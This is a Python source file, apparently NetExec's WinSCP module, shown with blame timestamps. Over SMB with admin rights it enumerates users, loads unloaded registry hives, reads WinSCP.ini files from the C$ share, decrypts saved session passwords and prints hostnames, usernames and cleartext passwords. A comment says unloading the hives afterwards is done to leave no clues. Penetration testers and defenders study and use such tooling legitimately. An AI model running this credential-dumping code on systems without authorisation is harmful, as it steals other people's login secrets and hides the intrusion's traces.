NetExec/nxc/modules/winscp_dump.py

461 lines
19 KiB
Python
Raw Normal View History

2022-12-26 18:15:29 +00:00
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# If you are looking for a local Version, the baseline code is from https://github.com/NeffIsBack/WinSCPPasswdExtractor
# References and inspiration:
# - https://github.com/anoopengineer/winscppasswd
# - https://github.com/dzxs/winscppassword
# - https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/parser/winscp.rb
2022-12-26 18:15:29 +00:00
2022-12-30 14:17:21 +00:00
import traceback
2023-03-30 09:02:54 +00:00
from typing import Tuple
2022-12-28 18:56:00 +00:00
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from urllib.parse import unquote
from io import BytesIO
import re
import configparser
2022-12-28 18:56:00 +00:00
2022-12-30 14:17:21 +00:00
class NXCModule:
"""
2023-05-02 15:17:59 +00:00
Module by @NeffIsBack
"""
2023-05-02 15:17:59 +00:00
name = "winscp"
description = "Looks for WinSCP.ini files in the registry and default locations and tries to extract credentials."
supported_protocols = ["smb"]
2022-12-30 14:17:21 +00:00
opsec_safe = True
2022-12-26 18:15:29 +00:00
multiple_hosts = True
def options(self, context, module_options):
"""
2022-12-30 14:17:21 +00:00
PATH Specify the Path if you already found a WinSCP.ini file. (Example: PATH="C:\\Users\\USERNAME\\Documents\\WinSCP_Passwords\\WinSCP.ini")
2022-12-29 19:26:26 +00:00
2022-12-30 14:17:21 +00:00
REQUIRES ADMIN PRIVILEGES:
2022-12-29 19:26:26 +00:00
As Default the script looks into the registry and searches for WinSCP.ini files in
\"C:\\Users\\{USERNAME}\\Documents\\WinSCP.ini\" and in
\"C:\\Users\\{USERNAME}\\AppData\\Roaming\\WinSCP.ini\",
for every user found on the System.
2022-12-26 18:15:29 +00:00
"""
2023-05-02 15:17:59 +00:00
if "PATH" in module_options:
self.filepath = module_options["PATH"]
2022-12-28 18:56:00 +00:00
else:
self.filepath = ""
2022-12-26 18:15:29 +00:00
2022-12-28 18:56:00 +00:00
self.PW_MAGIC = 0xA3
2022-12-30 14:17:21 +00:00
self.PW_FLAG = 0xFF
2023-05-02 15:17:59 +00:00
self.share = "C$"
2022-12-29 19:26:26 +00:00
self.userDict = {}
2022-12-28 18:56:00 +00:00
# ==================== Helper ====================
def printCreds(self, context, session):
if type(session) is str:
context.log.fail(session)
2022-12-28 18:56:00 +00:00
else:
context.log.highlight("======={s}=======".format(s=session[0]))
context.log.highlight("HostName: {s}".format(s=session[1]))
context.log.highlight("UserName: {s}".format(s=session[2]))
context.log.highlight("Password: {s}".format(s=session[3]))
2022-12-29 19:26:26 +00:00
def userObjectToNameMapper(self, context, connection, allUserObjects):
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
2023-05-02 15:17:59 +00:00
regHandle = ans["phKey"]
2022-12-29 19:26:26 +00:00
for userObject in allUserObjects:
2023-05-02 15:17:59 +00:00
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
2023-05-08 18:39:36 +00:00
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
2023-05-02 15:17:59 +00:00
)
keyHandle = ans["phkResult"]
2023-05-08 18:39:36 +00:00
userProfilePath = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "ProfileImagePath")[1].split("\x00")[:-1][0]
2022-12-29 19:26:26 +00:00
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
2023-05-02 15:17:59 +00:00
self.userDict[userObject] = userProfilePath.split("\\")[-1]
2022-12-29 19:26:26 +00:00
finally:
remoteOps.finish()
2022-12-28 18:56:00 +00:00
# ==================== Decrypt Password ====================
2022-12-30 14:17:21 +00:00
def decryptPasswd(self, host: str, username: str, password: str) -> str:
2022-12-28 18:56:00 +00:00
key = username + host
# transform password to bytes
passBytes = []
for i in range(len(password)):
val = int(password[i], 16)
passBytes.append(val)
pwFlag, passBytes = self.dec_next_char(passBytes)
pwLength = 0
# extract password length and trim the passbytes
if pwFlag == self.PW_FLAG:
_, passBytes = self.dec_next_char(passBytes)
pwLength, passBytes = self.dec_next_char(passBytes)
else:
pwLength = pwFlag
to_be_deleted, passBytes = self.dec_next_char(passBytes)
2023-05-02 15:17:59 +00:00
passBytes = passBytes[to_be_deleted * 2 :]
2022-12-28 18:56:00 +00:00
# decrypt the password
clearpass = ""
for i in range(pwLength):
val, passBytes = self.dec_next_char(passBytes)
clearpass += chr(val)
if pwFlag == self.PW_FLAG:
2023-05-02 15:17:59 +00:00
clearpass = clearpass[len(key) :]
2022-12-28 18:56:00 +00:00
return clearpass
2023-03-30 09:02:54 +00:00
def dec_next_char(self, passBytes) -> "Tuple[int, bytes]":
2022-12-28 18:56:00 +00:00
"""
Decrypts the first byte of the password and returns the decrypted byte and the remaining bytes.
Parameters
----------
passBytes : bytes
The password bytes
"""
if not passBytes:
return 0, passBytes
a = passBytes[0]
b = passBytes[1]
passBytes = passBytes[2:]
2023-05-02 15:17:59 +00:00
return ~(((a << 4) + b) ^ self.PW_MAGIC) & 0xFF, passBytes
2022-12-28 18:56:00 +00:00
# ==================== Handle Registry ====================
def registrySessionExtractor(self, context, connection, userObject, sessionName):
"""
Extract Session information from registry
"""
2022-12-28 18:56:00 +00:00
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
2023-05-02 15:17:59 +00:00
regHandle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
2023-05-08 18:39:36 +00:00
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\" + sessionName,
2023-05-02 15:17:59 +00:00
)
keyHandle = ans["phkResult"]
2023-05-08 18:39:36 +00:00
hostName = unquote(rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "HostName")[1].split("\x00")[:-1][0])
userName = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "UserName")[1].split("\x00")[:-1][0]
2022-12-30 14:17:21 +00:00
try:
2023-05-08 18:39:36 +00:00
password = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "Password")[1].split("\x00")[:-1][0]
2022-12-28 18:56:00 +00:00
except:
context.log.debug("Session found but no Password is stored!")
password = ""
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
2022-12-28 18:56:00 +00:00
if password:
2022-12-30 14:17:21 +00:00
decPassword = self.decryptPasswd(hostName, userName, password)
2022-12-28 18:56:00 +00:00
else:
decPassword = "NO_PASSWORD_FOUND"
2022-12-30 14:17:21 +00:00
sectionName = unquote(sessionName)
return [sectionName, hostName, userName, decPassword]
except Exception as e:
context.log.fail(f"Error in Session Extraction: {e}")
context.log.debug(traceback.format_exc())
2022-12-28 18:56:00 +00:00
finally:
remoteOps.finish()
return "ERROR IN SESSION EXTRACTION"
def findAllLoggedInUsersInRegistry(self, context, connection):
"""
Checks whether User already exist in registry and therefore are logged in
"""
userObjects = []
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
# Enumerate all logged in and loaded Users on System
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
2023-05-02 15:17:59 +00:00
regHandle = ans["phKey"]
2023-05-02 15:17:59 +00:00
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "")
keyHandle = ans["phkResult"]
data = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, keyHandle)
2023-05-02 15:17:59 +00:00
users = data["lpcSubKeys"]
# Get User Names
userNames = []
for i in range(users):
2023-05-08 18:39:36 +00:00
userNames.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)["lpNameOut"].split("\x00")[:-1][0])
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
# Filter legit users in regex
2023-05-02 15:17:59 +00:00
userNames.remove(".DEFAULT")
regex = re.compile(r"^.*_Classes$")
userObjects = [i for i in userNames if not regex.match(i)]
except Exception as e:
context.log.fail(f"Error handling Users in registry: {e}")
context.log.debug(traceback.format_exc())
finally:
remoteOps.finish()
return userObjects
2022-12-26 18:15:29 +00:00
def findAllUsers(self, context, connection):
"""
Find all User on the System in HKEY_LOCAL_MACHINE
"""
userObjects = []
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
# Enumerate all Users on System
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
2023-05-02 15:17:59 +00:00
regHandle = ans["phKey"]
2023-05-02 15:17:59 +00:00
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList",
)
keyHandle = ans["phkResult"]
data = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, keyHandle)
2023-05-02 15:17:59 +00:00
users = data["lpcSubKeys"]
# Get User Names
for i in range(users):
2023-05-08 18:39:36 +00:00
userObjects.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)["lpNameOut"].split("\x00")[:-1][0])
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
except Exception as e:
context.log.fail(f"Error handling Users in registry: {e}")
context.log.debug(traceback.format_exc())
finally:
remoteOps.finish()
return userObjects
def loadMissingUsers(self, context, connection, unloadedUserObjects):
"""
Extract Information for not logged in Users and then loads them into registry.
"""
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
for userObject in unloadedUserObjects:
# Extract profile Path of NTUSER.DAT
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
2023-05-02 15:17:59 +00:00
regHandle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
2023-05-08 18:39:36 +00:00
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
2023-05-02 15:17:59 +00:00
)
keyHandle = ans["phkResult"]
2023-05-08 18:39:36 +00:00
userProfilePath = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
# Load Profile
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
2023-05-02 15:17:59 +00:00
regHandle = ans["phKey"]
2023-05-08 18:39:36 +00:00
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "")
2023-05-02 15:17:59 +00:00
keyHandle = ans["phkResult"]
context.log.debug("LOAD USER INTO REGISTRY: " + userObject)
2023-05-02 15:17:59 +00:00
rrp.hBaseRegLoadKey(
remoteOps._RemoteOperations__rrp,
keyHandle,
userObject,
userProfilePath + "\\" + "NTUSER.DAT",
)
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
finally:
remoteOps.finish()
def unloadMissingUsers(self, context, connection, unloadedUserObjects):
"""
If some User were not logged in at the beginning we unload them from registry. Don't leave clues behind...
"""
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
# Unload Profile
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
2023-05-02 15:17:59 +00:00
regHandle = ans["phKey"]
2023-05-02 15:17:59 +00:00
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "")
keyHandle = ans["phkResult"]
for userObject in unloadedUserObjects:
context.log.debug("UNLOAD USER FROM REGISTRY: " + userObject)
try:
2023-05-08 18:39:36 +00:00
rrp.hBaseRegUnLoadKey(remoteOps._RemoteOperations__rrp, keyHandle, userObject)
except Exception as e:
context.log.fail(f"Error unloading user {userObject} in registry: {e}")
context.log.debug(traceback.format_exc())
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
finally:
remoteOps.finish()
2022-12-30 14:17:21 +00:00
def checkMasterpasswordSet(self, connection, userObject):
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
2023-05-02 15:17:59 +00:00
regHandle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
2023-05-08 18:39:36 +00:00
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security",
2023-05-02 15:17:59 +00:00
)
keyHandle = ans["phkResult"]
2023-05-08 18:39:36 +00:00
useMasterPassword = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "UseMasterPassword")[1]
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
finally:
remoteOps.finish()
return useMasterPassword
2022-12-28 18:56:00 +00:00
def registryDiscover(self, context, connection):
context.log.display("Looking for WinSCP creds in Registry...")
2022-12-28 18:56:00 +00:00
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
2022-12-26 18:15:29 +00:00
# Enumerate all Users on System
userObjects = self.findAllLoggedInUsersInRegistry(context, connection)
allUserObjects = self.findAllUsers(context, connection)
2022-12-29 19:26:26 +00:00
self.userObjectToNameMapper(context, connection, allUserObjects)
# Users which must be loaded into registry:
2023-05-08 18:39:36 +00:00
unloadedUserObjects = list(set(userObjects).symmetric_difference(set(allUserObjects)))
self.loadMissingUsers(context, connection, unloadedUserObjects)
# Retrieve how many sessions are stored in registry from each UserObject
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
2023-05-02 15:17:59 +00:00
regHandle = ans["phKey"]
for userObject in allUserObjects:
try:
2023-05-02 15:17:59 +00:00
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions",
)
keyHandle = ans["phkResult"]
2023-05-08 18:39:36 +00:00
data = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, keyHandle)
2023-05-02 15:17:59 +00:00
sessions = data["lpcSubKeys"]
2023-05-08 18:39:36 +00:00
context.log.success('Found {} sessions for user "{}" in registry!'.format(sessions - 1, self.userDict[userObject]))
2022-12-30 14:17:21 +00:00
# Get Session Names
sessionNames = []
for i in range(sessions):
2023-05-08 18:39:36 +00:00
sessionNames.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)["lpNameOut"].split("\x00")[:-1][0])
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
2023-05-02 15:17:59 +00:00
sessionNames.remove("Default%20Settings")
2022-12-30 14:17:21 +00:00
if self.checkMasterpasswordSet(connection, userObject):
context.log.fail("MasterPassword set! Aborting extraction...")
continue
# Extract stored Session infos
for sessionName in sessionNames:
2023-05-02 15:17:59 +00:00
self.printCreds(
context,
2023-05-08 18:39:36 +00:00
self.registrySessionExtractor(context, connection, userObject, sessionName),
2023-05-02 15:17:59 +00:00
)
2022-12-30 14:17:21 +00:00
except DCERPCException as e:
2023-05-02 15:17:59 +00:00
if str(e).find("ERROR_FILE_NOT_FOUND"):
2023-05-08 18:39:36 +00:00
context.log.debug("No WinSCP config found in registry for user {}".format(userObject))
except Exception as e:
context.log.fail(f"Unexpected error: {e}")
context.log.debug(traceback.format_exc())
self.unloadMissingUsers(context, connection, unloadedUserObjects)
2022-12-30 14:17:21 +00:00
except DCERPCException as e:
# Error during registry query
2023-05-02 15:17:59 +00:00
if str(e).find("rpc_s_access_denied"):
2023-05-08 18:39:36 +00:00
context.log.fail("Error: rpc_s_access_denied. Seems like you don't have enough privileges to read the registry.")
except Exception as e:
context.log.fail(f"UNEXPECTED ERROR: {e}")
context.log.debug(traceback.format_exc())
2022-12-28 18:56:00 +00:00
finally:
remoteOps.finish()
# ==================== Handle Configs ====================
2022-12-30 14:17:21 +00:00
def decodeConfigFile(self, context, confFile):
config = configparser.RawConfigParser(strict=False)
config.read_string(confFile)
# Stop extracting creds if Master Password is set
2023-05-02 15:17:59 +00:00
if int(config.get("Configuration\\Security", "UseMasterPassword")) == 1:
context.log.fail("Master Password Set, unable to recover saved passwords!")
return
for section in config.sections():
2023-05-02 15:17:59 +00:00
if config.has_option(section, "HostName"):
hostName = unquote(config.get(section, "HostName"))
userName = config.get(section, "UserName")
if config.has_option(section, "Password"):
encPassword = config.get(section, "Password")
2022-12-30 14:17:21 +00:00
decPassword = self.decryptPasswd(hostName, userName, encPassword)
else:
decPassword = "NO_PASSWORD_FOUND"
sectionName = unquote(section)
self.printCreds(context, [sectionName, hostName, userName, decPassword])
def getConfigFile(self, context, connection):
if self.filepath:
2023-05-02 15:17:59 +00:00
self.share = self.filepath.split(":")[0] + "$"
path = self.filepath.split(":")[1]
try:
buf = BytesIO()
connection.conn.getFile(self.share, path, buf.write)
confFile = buf.getvalue().decode()
context.log.success("Found config file! Extracting credentials...")
2022-12-30 14:17:21 +00:00
self.decodeConfigFile(context, confFile)
except:
2023-05-08 18:39:36 +00:00
context.log.fail("Error! No config file found at {}".format(self.filepath))
context.log.debug(traceback.format_exc())
else:
2023-05-08 18:39:36 +00:00
context.log.display("Looking for WinSCP creds in User documents and AppData...")
output = connection.execute('powershell.exe "Get-LocalUser | Select name"', True)
users = []
2023-05-02 15:17:59 +00:00
for row in output.split("\r\n"):
users.append(row.strip())
users = users[2:]
2022-12-30 14:17:21 +00:00
# Iterate over found users and default paths to look for WinSCP.ini files
for user in users:
2023-05-02 15:17:59 +00:00
paths = [
("\\Users\\" + user + "\\Documents\\WinSCP.ini"),
("\\Users\\" + user + "\\AppData\\Roaming\\WinSCP.ini"),
]
for path in paths:
confFile = ""
try:
buf = BytesIO()
connection.conn.getFile(self.share, path, buf.write)
confFile = buf.getvalue().decode()
2023-05-08 18:39:36 +00:00
context.log.success('Found config file at "{}"! Extracting credentials...'.format(self.share + path))
except:
2023-05-08 18:39:36 +00:00
context.log.debug('No config file found at "{}"'.format(self.share + path))
if confFile:
2022-12-30 14:17:21 +00:00
self.decodeConfigFile(context, confFile)
2022-12-30 14:17:21 +00:00
def on_admin_login(self, context, connection):
if not self.filepath:
self.registryDiscover(context, connection)
self.getConfigFile(context, connection)